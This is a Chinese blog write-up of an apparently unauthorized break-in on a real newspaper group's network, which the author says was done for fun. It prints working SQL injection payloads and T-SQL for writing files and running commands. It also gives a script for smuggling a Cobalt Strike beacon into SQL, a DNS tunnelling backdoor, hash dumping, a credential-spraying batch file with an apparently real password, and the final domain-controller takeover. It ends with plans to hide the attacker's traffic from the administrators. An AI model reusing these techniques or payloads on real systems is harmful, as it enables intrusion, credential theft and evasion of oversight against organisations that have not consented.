记一次手注

闲来无事,日个站玩玩。

要日,就日一波大的。日个小站就结束了也不太好意思(水文章),于是乎就在各种搜索引擎上搜了起来。

于是一家叫做xx报系的邮件系统吸引起了我的注意力,看样子很好日(?),话不多说,开整!

1.png
1.png

打点

直接对https://mail.xxxgroup.com/,直接对根域名进行一个子域名的探测,上fofa或者hunter这类东西搜一下,结果并不多,只有44条

2.png
2.png

但是里面的系统很有意思,

3.png
3.png

4.png
4.png

有很多这种没有验证码直接登录的站点。随手试了试admin/123456这类超级超级弱口令,没有结果,后台挂着xray,注入什么也挂着,都没有什么结果。dirsearch扫了目录,也没有什么结果(指不能getshell),端口也扫了,都没啥结果,常规的手段都试过了。供应链看样子也没什么可以打的,估计都是自己开发的

同时还有gitlab,但是并没有什么洞

5.png
5.png

从hunter上的这个域名来看,确实搜不到什么信息。虽然此时可以开始进行一个弱口令爆破,但是不急,一般我回选择把这种有针对性的爆破放到最后做,因为这个步骤流量太大了,十分显眼,并且我们现在也没有合适的用户名字典。

继续把目光看向刚刚的搜索结果,这些结果中,我们可以发现,大多数的站点都处于

  • 124.9.11.x
  • 124.9.2.x

当中,我们非常有理由他们可能持有这几个C段,这几个C段上肯定有他们的其他资产信息,上goby直接在外网进行一个扫

6.png
6.png

C段内发现了一堆zyxel设备和一个outllook的owa,试了试Nday,并没有什么结果

但是额外发现了一个看上去有用的论坛系统vBulletin 3.7.1

7.png
7.png

并没有什么Nday,但是可以进行一个注册,注册后可以浏览系统已注册的用户名,然而看不到邮箱。

但是至少给我们的用户名字典(如果有需要的话),增加了一些信息,然而可惜的是注册还没五分钟我的账号就被删除并且被T了出来。没截到图,为了不打草惊蛇所以先pass。

换个思路,直接用hunter,对他们企业名字进行搜索

8.png
8.png

资产多了起来,但是也多了很多不想干的内容,此时,我发现了一个东西https://insightx.xxxmembers.cloud/

9.png
9.png

他们使用sso的登录,用的是之前xxxgroup.com的sso,并且根据域名,感觉像是内部使用的一个域名,并不像是对外商用的,立刻进行一波子域名搜索。上oneforall,和hunter辅助查询,只查到了另外一个域名https://datahub.xxxmembers.cloud/

10.png
10.png

11.png
11.png

12.png
12.png

果然,不知提供了API,甚至提供了SQL语句,我严重怀疑这里是不是有注入,正当我兴高采烈的访问的时候。
13.png
13.png

。。。。。没事了,但是我还是不甘心,对着目录搜索了一通,
14.png
14.png

看到了个login.jsp,直接对着源码进行一个的看,看到了一堆未授权的页面,但是都是测试页面,继续pass

此时已经开始有点心灰意冷了,打开了github,打算开始,啊传统艺能弱口令和数据泄露,甚至看到了这东西

15.png
15.png

这不是想睡觉了正好有人给我送枕头吗?整直接准备拿着这份表进行爆破的时候,我发现了它

16.png
16.png

17.png
17.png

一个完全孤立于其他站点的,甚至除了图片素材没有其他信息有关我们目标的站。

当时我已经心灰意冷了,挂着xray,于是乎随手试了试admin/admin,test/test之类的,然后就去上了个厕所吃了个饭打了把游戏摸了会鱼跑回来(?????),没啥信息,但是我良好的习惯让我随手输了admin',报错了

18.png
18.png

我:??????,再次检查了下xray report。没有啥信息,其实我挂xray主要就是用来被动检测sql的,不然我也不会挂这东西,流量太大了,但是xray的被动扫描sql注入确实好用

然而这么明显的报错注入没扫描出来?就十分的神奇,直接套上sqlmap,结果都是timeout,换了代理UA啥的都不行,怪不得xray扫不出来。

于是乎愉快的上了burp中转,终于跑起来了

19.png
19.png

但是他只抛出了timebased注入,甚至使用os-shell还没有回显。

一开始我以为不能堆叠注入,使用a';select 1 where 1='a'--,是不报错的.甚至直接绕过了登陆验证

20.png
20.png

但是如果你再堆叠的第二行语句输入错误的语法,它还是会检查语法正确性的a';select asdasdasd--
21.png
21.png

这时候直接进行一个基本信息的看,select @@version

22.png
22.png

我看了看这个Windows NT 5.0 (Build 2195: Service Pack 4),人麻了,这不是windows 2000吗??
再看了看这个WEB的IIS 8.5,怎么也不相信一个windows 2000的机器能跑的动IIS 8.5,得了,站库分离

想着先注入密码进后台看看先,直接使用万能密码绕过,会出现没权限的问题。

我以为是用户名的问题,可能后续的语句验证了用户名?反正它给了完整SQL语句select ID from ACCOUNT with (NOLOCK) wheree xxxxx
,直接用这个对它的语句进行一个用户名的搜索a' and 1=(select top 1 ID from ACCOUNT)--

23.jpg
23.jpg

???怎么还有人用当用户名的。继续万能密码,依旧无权限。我想这可能是这个用户没权限,毕竟哪有人拿当用户名的,使用a' and 1=(select top 1 ID from ACCOUNT where ID NOT IN (select top 1 ID from ACCOUNT))--,

接下来查出了个中文用户名,绕过失败,我不信邪,密码,注!

24.jpg
24.jpg

人麻了这是什么hash?好在这个sql注入把我们的密码也编码进去了,我随便输入个密码123456,它语句里我的密码是
25.jpg
25.jpg

十分的规律,一眼顶针,鉴定为ASCII凯撒。看了一下,6位为一个字,前面6为000079是固定不用管,直接和原本的ascii进行相减,知道了密码是ascii+42,好的,前面000xxx知道是什么了,后面的-xxx-xxx又是什么呢?
看到了中文名,啊,想了下也许是UNICODE,试了试,好的成了,没事了。验证通过

就是依旧没有权限进入系统!!!!!!

我那个气,开始直接注数据库

首先看了下,确定数据库确实有DBA,使用了os-shell,whoami这些都没有结果,但是,ping,dnslog有回显

确确实实的有回显!!!!!!

这时候,啊,就是考虑传马上去了,首先先探测网络环境,因为sqlmap查出来的是timebased,所以想着可不可以用远程下载

思考windows 2000有没有什么东西能远程下载,为此特地装了个windows 2000的虚拟机

certutil肯定是没有的,但是有ftp和hh.exe。直接运行了hh.exe上去,发现我服务器并没有web请求,冷汗流了下来。

由于堆叠注入实在是没有回显,我真的很怀疑这个dnslog的回显到底是不是真的。我心里此时想到了一个很可怕的BT防御手法

26.jpg
26.jpg

世界上怎么会有这么坏的人,气抖冷。

然后使用sqlmap自带的上传,,上传的速度过于捉急。经过powershell写过一轮,vbs写过一轮,debug写过一轮。。。。

太慢了,最后还是选择抛弃了sqlmap。进行手注入

首先先试着看看能不能读到回显。

使用语句a';drop table ccc99;create table ccc99 (dir nvarchar(4000));insert into ccc99(dir) exec master..xp_cmdshell 'whoami';--

然后用报错注入a' and 1=convert(int,(select top 1 * from ccc99))--,发现并没有回显,心灰意冷百思不得其解,于是乎我在本地试了一下whoami,发现windows 2000并没有whoami命令,啊这,得了,没事了。

继续,随手执行了个dir

27.jpg
27.jpg

ohhhhhhhh,这玩意是真的可以执行命令,啊,二话不说,打算上传一个马上去。

使用命令

DECLARE @DATA VARBINARY(4000);
DECLARE @filepath VARCHAR(4000);
set @DATA = 0xxxxxxxx
set @filepath='C:\info.dll';
DECLARE @ObjectToken INT;
EXEC sp_OACreate 'ADODB.Stream', @ObjectToken OUTPUT;
EXEC sp_OASetProperty @ObjectToken, 'Type', 1;
EXEC sp_OAMethod @ObjectToken, 'Open';
EXEC sp_OAMethod @ObjectToken, 'Write', NULL, @DATA;
EXEC sp_OAMethod @ObjectToken, 'SaveToFile', NULL, @filepath, 2;
EXEC sp_OAMethod @ObjectToken, 'Close';
EXEC sp_OADestroy @ObjectToken;
SELECT @filepath--

直接试图写exe上去,此时遇到了一个坑,还得我整了好久。当用这个脚本成功写了个txt,并用

a';drop table resultasd;create table resultasd(res varchar(8000));bulk insert resultasd from 'c:/winnt/temp/zzz.txt';--

再用报错注入成功读取到txt的内容之后,我确信了这个sql上传没有问题!!!!
不过与此同时,我确实确定了一个信息,那就是这玩意好像是不出网的,用了ftp -s:xxx.txt测试了一下,并没有收到tcp端口请求

但是我贼心不死,想着没准能udp出网呢?甚至写了一个探针

28.jpg
28.jpg

用于探测tcp/udp是否出网。

然后就是转换成hex,愉快的上传,上传之前本地测试了一下,vs2022编译,是没法在win2k运行的,nmd怎么回事?

但是GCC编译的却可以,草,海星,没事了。gcc编译就gcc编译吧

一运行,没反应。我:?,上传成dll,用rundll32运行,没反应,我:??

本地win2k环境rundll32环境测试过的,是可以调用dll的

我开始怀疑是不是有奇怪的杀软,或者牛逼的HIPS/HIDS拦截进程的启动了。

此时我开始测试各种奇怪的方法,比如写出写出写出vbs执行程序,vbs写txt,,写出bat执行程序

结果当然是,没有找到vbs写出的txt,vbs压根没执行成功,bat里面放了个ping,执行以下,dnslog被触发了,说明bat执行力成功,但是没有成功起了我们的程序。

但是我用cmd执行一些系统其他的exe是可以的,最典型的就是之前的ping.exe是可以执行成功的

心里想着啥HIPS。你妈的这么牛逼?win2k还拦截的这么六?想要查查进程。

tasklist一运行,没有这个指令,啊,没事了。

那么没有vbs,没有tasklist,该如何查看进程呢?经过wbg的一番提点,啊,才记起来,sqlserver是可以调用com的。

最典型的就是

declare @shell int ;
exec sp_oacreate 'wscript.shell',@shell output ;
exec sp_oamethod @shell,'run',null,'cmd /c xxxx';--

为此,我甚至改造了个直接调用wmi的

declare @objWmi int,@objLocator int,@objPermiss int,@objRet int,@objFull varchar(8000)
EXEC sp_OACreate 'WbemScripting.SWbemLocator.1',@objLocator OUTPUT;
EXEC sp_OAMethod @objLocator,'ConnectServer',@objWmi OUTPUT,'.','root\cimv2';
EXEC sp_OAMethod @objWmi,'Get',@objPermiss OUTPUT,'Win32_LogicalFileSecuritySetting.Path=''wscript.exe''';
EXEC sp_OAMethod @objWmi,'Get',@objFull OUTPUT, 'Win32_SecurityDescriptor';
EXEC sp_OASetProperty @objFull,'ControlFlags',4;
EXEC sp_OAMethod @objPermiss,'SetSecurityDescriptor',@objRet output,@objFull;

这玩意甚至能连接远程服务器,当然我sqlserver和com的语法不熟,纯sql列出进程始终没捣鼓出来,最后还是使用了ScriptControl,调用了Jscript,再通过Jscript调用wmi列出进程写道txt

DECLARE @js1 int;
EXEC sp_OACreate 'ScriptControl',@js1 OUT;EXEC sp_OASetProperty @js1, 'Language', 'JavaScript1.1';
EXEC sp_OAMethod @js1, 'Eval', NULL, '
fso = new ActiveXObject("Scripting.FilesystemObject");
wsh = new ActiveXObject("WScript.Shell");
var locator=new ActiveXObject("WbemScripting.SWbemLocator");
var service=locator.ConnectServer(".","root/cimv2");
var colItems=service.ExecQuery("select * from Win32_Process");
var e=new Enumerator(colItems);
var t1=new Date().valueOf();
var fso  = new ActiveXObject("Scripting.FileSystemObject");
var fh = fso.CreateTextFile("c:\\proc3.txt", true);
for(;!e.atEnd();e.moveNext()){
  var p=e.item();
  fh.WriteLine(p.Caption+"   "+p.Handle);
  if(p.Caption=="CMD.EXE"){p.terminate();}
  if(p.Caption=="wscript.exe"){p.terminate();}
  if(p.Caption=="asdfg.exe"){p.terminate();}
};
fh.Close();'; --

最后成功的读出了进程列表

System
System Idle Process
SMSS.EXE
CSRSS.EXE
WINLOGON.EXE
SERVICES.EXE
LSASS.EXE
termsrv.exe
svchost.exe
Smc.exe
ccSvcHst.exe
spoolsv.exe
cissesrv.exe
CpqRcmc.exe
vcagent.exe
LLSSRV.EXE
sqlservr.exe
mstask.exe
SNMP.EXE
Rtvscan.exe
sysdown.exe
smhstart.exe
hpsmhd.exe
vmtoolsd.exe
vmware-converte
rotatelogs.exe
WinMgmt.exe

好家伙,赛门铁克,但是问题是,根据我的了解,赛门铁克这玩意十分的弟弟,不应该有这个效果啊,
甚至从PY了个windows 2000的安装包,装上去试了下,确实也没有这个效果。

一筹莫展之际,此时的我都已经正在使用vc++6.0打算写一个com组件上传个dll然后让sqlserver调用我这个自制的com来绕过这个神秘的“HIDS”了。

然后在本地测试的时候,我发现了个问题,我本地写出30kb的文件,最后落地只有3kb多。然后认真检查脚本

29.jpg
29.jpg

啊这,我上传脚本的变量大小没改。。。。。。。。草李莱莱,好歹你给我报个错误啊草草草啊啊啊啊啊啊啊

我试图直接改成10000000,但是tmd,sqlserver 2000的最大只支持8000。俺寻思这不是好说,俺多定义几个变量,多write几下,然后就发现了

30.jpg
30.jpg

nmd怎么还有最大限制64kb,不过之前用gcc编译的探针倒是成功上传上去并运行了,(gcc编译的只有29kb)。udp不出网。icmp也不出,只有dns出。

于是乎穿一个cs的beacon上去,无阶段的,全场264kb,分了好几个文件,为此还特地写了个脚本

import sys
import binascii
from urllib.parse import quote
path = sys.argv[1]
f = open(path, "rb");
binary = f.read()
f.close();
length = len(binary)
count = int(length / 8000) + 1
strs = ""
i=0
while (True):

    if i == 0:
        print("chunk 0-8000")
        strs = strs + "SET @DATA" + str(i) + "=0x" + binascii.hexlify(binary[0:8000]).decode() + ";"

    elif i * 8000 < length and (i+1) * 8000 < length :
        print("chunk "+str(8000*i)+"-"+str(8000*(i+1)))

        strs = strs + "SET @DATA" + str(i) + "=0x" + binascii.hexlify(binary[8000 * i:8000 * (i + 1)]).decode() + ";"
    if i * 8000 > length:
        print("chunk " + str(8000 * (i-1)) + "-" + str(length))
        strs = strs + "SET @DATA" + str(i) + "=0x" + binascii.hexlify(binary[8000 * (i-1):]).decode() + ";"
        break
    i += 1
defines =  "DECLARE @filepath VARCHAR(4000);"
for i2 in range(0,i+1):
    defines = defines + "DECLARE @DATA"+str(i2)+" VARBINARY(8000);"

zhongjian ="set @filepath='C:\\f"+path+"';DECLARE @ObjectToken INT;EXEC sp_OACreate 'ADODB.Stream', @ObjectToken OUTPUT;EXEC sp_OASetProperty @ObjectToken, 'Type', 1;EXEC sp_OAMethod @ObjectToken, 'Open';"

writes = ""
for i3 in range(0,i+1):
    writes = writes + "EXEC sp_OAMethod @ObjectToken, 'Write', NULL, @DATA"+str(i3)+";"
ends="""EXEC sp_OAMethod @ObjectToken, 'SaveToFile', NULL, @filepath, 2;EXEC sp_OAMethod @ObjectToken, 'Close';EXEC sp_OADestroy @ObjectToken;SELECT @filepath--"""
f2 = open(path+".txt","w")
f2.write(defines+strs+zhongjian+writes+ends)

之后使用copy /b把写入的分块整合成一个文件,运行。

上线了,但是又等于没上。

本机测试,windows 2k的cs,在checkin之后,就直接boom掉了

31.jpg
31.jpg

我以为是cs的问题,测试了几个版本

从3.14,3.8.4.4,其中,要不是上线就boom,要不是就是或者,但是不交互,总之各种运行不起来,

最后无奈,全网寻找一个能用的windwos的dns反弹马,找了半天,啊,没找到。

最后发现了DNSCAT2这个项目,它提供了sln,于是乎,下载了vs2008,经过一通修改,最终成功在windows 2000下运行成功

32.jpg
32.jpg

然后,上传,最后,终于可算是上线了
33.jpg
33.jpg

net time看了下,有域,甚至还是个B段
34.jpg
34.jpg

查了下,域内一千六百多台机器,不过现在首要的目标,当然还是先找个能出网的,

只要有出网的机器,怎么日我都大体想好了,啊,直接进行一个socks的搭

然后进行一个nopac/zerologon的打

最后再进行一个域的控

或者

直接进行一个ms17010啊不对,ms17010都太过了,直接08067都可以,把内网什么勾八windows 2k xp ,2003都给tmd打了

然后进行一个域管密码的抓

最后再nmd进行一个域控的登。

美滋滋是不是?然而幻想是很美好的,我们还是得先打tmd一个出网的机器

这个破DNS实在是太太太太太太慢了,如何漫游呢?

答案当然先是使用vbs,wmiexec,不过咱们得先把本机凭据抓了。

windows 2000下抓凭据,用什么mimiaktz是不好使的,也太大了,什么porcdump也不行,但是有一个远古工具,pwdump6,可以在windows2000下运行。

35.jpg
35.jpg

用这破比东西传这500k的东西花了一个多小时。

成功dump出hash

37.jpg
37.jpg

然后上传wmiexec.vbs,执行
发现了一个问题
38.jpg
38.jpg

怪不得nmd什么vbs都执行不了,原来是这个关了,想执行reg add修改组策略。但是win2k甚至连reg.exe都没有

怎么解决也很简单,本地改完导出一个x.reg文件,上传上去用regedit /s导入reg文件就解决了。

原本是想直接跑的,但是,我看了下,我们的主机名叫做WFDBP3,然后查了下,

39.jpg
39.jpg

俺寻思,他们肯定也是sql server服务器,甚至密码会不会都是一样的?

通过注入查询到本机sql密码很简单,重点是问题是如何连接。

正当我想上github找cli工具的时候,我想,不对,这堂堂sqlserver,目录下应该肯定有cli工具吧

于是乎去目录翻了一眼:此时一个叫做osql.exe的程序吸引了我注意

40.jpg
40.jpg

但是/h没有任何帮助,然而msdn上有相关用法

osql  
[-?] |  
[-L] |  
[  
  {  
     {-Ulogin_id [-Ppassword]} | -E }  
     [-Sserver_name[\instance_name]] [-Hwksta_name] [-ddb_name]  
     [-ltime_out] [-ttime_out] [-hheaders]  
     [-scol_separator] [-wcolumn_width] [-apacket_size]  
     [-e] [-I] [-D data_source_name]  
     [-ccmd_end] [-q "query"] [-Q"query"]  
     [-n] [-merror_level] [-r {0 | 1}]  
     [-iinput_file] [-ooutput_file] [-p]  
     [-b] [-u] [-R] [-O]  
]  

果不其然!!!!,直接用这个osql对着我们身边同样看似sqlserver的主机连接

41.jpg
41.jpg

最后成功漫游到了WFDBP4上,是一台windows xp,然而实际上并不出网。

试图上cs,但是结果nmd依旧是上线后半天不鸟我,气死了啊啊啊啊啊啊啊

抓个密码,如何抓?

上传mimiaktz,太大了,被杀。系统自带的dump工具dump一个lsass,几十MB更大,更不可行,最后只有用注册表导出sam然后脱回来,体积最小感觉最OK

43.jpg
43.jpg

拖出来的两个文件,也就5MB,但是tmd下载回来下了四小时。难蚌

其中administrator两台密码都是一样的,理论上其他密码也是一样,但是wmiexec就是用不了,不知道为什么,非常的奇妙,倒是用了其他的用户使用wmiexec,使用了正确的账号密码才可以

而且还有一个坑,wmiexec,用IP连接的话是没有回显的,必须得用主机名连接。

不过一个一个爆破的速度实在是太慢了,写个bat,使用这些抓到的凭据对当前C段进行探测

@echo off 
@for /L %%n in (20, 1, 33) do ( 
    cscript w2.vbs /cmd 10.19.21.%%n administrator wf2k22yr-jun16 whoami >> a.txt 2>&1
    cscript w2.vbs /cmd 10.19.21.%%n sopadmin admin whoami >> a.txt 2>&1
    cscript w2.vbs /cmd 10.19.21.%%n vista vista whoami >> a.txt 2>&1
) 

42.jpg
42.jpg

成功又探测到一台服务器,而且这台主机名是APP,也就是说上面部署着服务,可能是web

44.jpg
44.jpg

确实有web,再用vbs脚本,请求下网页看看有没有暴露在外网

Set Post = CreateObject("Microsoft.XMLHTTP")
Set Shell = CreateObject("Wscript.Shell")
Post.Open "GET","http://www.baidu.com/",0
Post.Send()
Set aGet = CreateObject("ADODB.Stream")
aGet.Mode = 3
aGet.Type = 1
aGet.Open()
aGet.Write(Post.responseBody)
aGet.SaveToFile "c:\http.txt",2

看了下,并没有,寄


第二天,使用了minilove抓了2000密码,直接登录域控

photo_2022-07-29_15-08-46.jpg
photo_2022-07-29_15-08-46.jpg

甚至还有域林,我们的权限甚至能访问全网。。。

不过看了下进程,管理员tmd开着wireshark盯着流量出口,算了算了,溜了,拿下域控就没啥意思了,走了。

后续想要日的话,基本流程就是整一个wirekshark的HOOK,把域控上面的那个wireshark给HOOK了,把我们的流量给隐藏掉,不然做任何操作都是会被管理员发现的。

添加新评论

评论列表